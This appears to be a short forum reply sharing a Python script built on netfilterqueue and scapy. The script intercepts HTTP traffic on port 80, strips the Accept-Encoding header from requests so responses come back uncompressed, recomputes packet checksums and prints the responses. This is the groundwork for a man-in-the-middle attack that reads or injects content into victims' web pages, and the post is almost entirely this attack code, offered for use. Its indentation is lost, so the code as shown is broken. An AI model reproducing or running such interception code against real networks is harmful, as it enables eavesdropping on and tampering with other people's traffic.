Compare this with yours though its the same code but I changed some variables.
Make sure your are testing it on http(port 80) not https(port443) and be mindful of your indents too
import netfilterqueue
import scapy.all as scapy
import re
def set_load(packet, load):
packet[scapy.Raw].load = load
del packet[scapy.IP].len
del packet[scapy.IP].chksum
del packet[scapy.TCP].chksum
return packet
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.Raw):
if scapy_packet[scapy.TCP].dport == 80:
print('Request..')
mod_load = re.sub('Accept-Encoding:.*?\\r\\n','',scapy_packet[scapy.Raw].load)
new_pack = set_load(scapy_packet, mod_load)
packet.set_payload(str(new_pack))
elif scapy_packet[scapy.TCP].sport == 80:
print('Response...')
print(scapy_packet.show())
packet.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()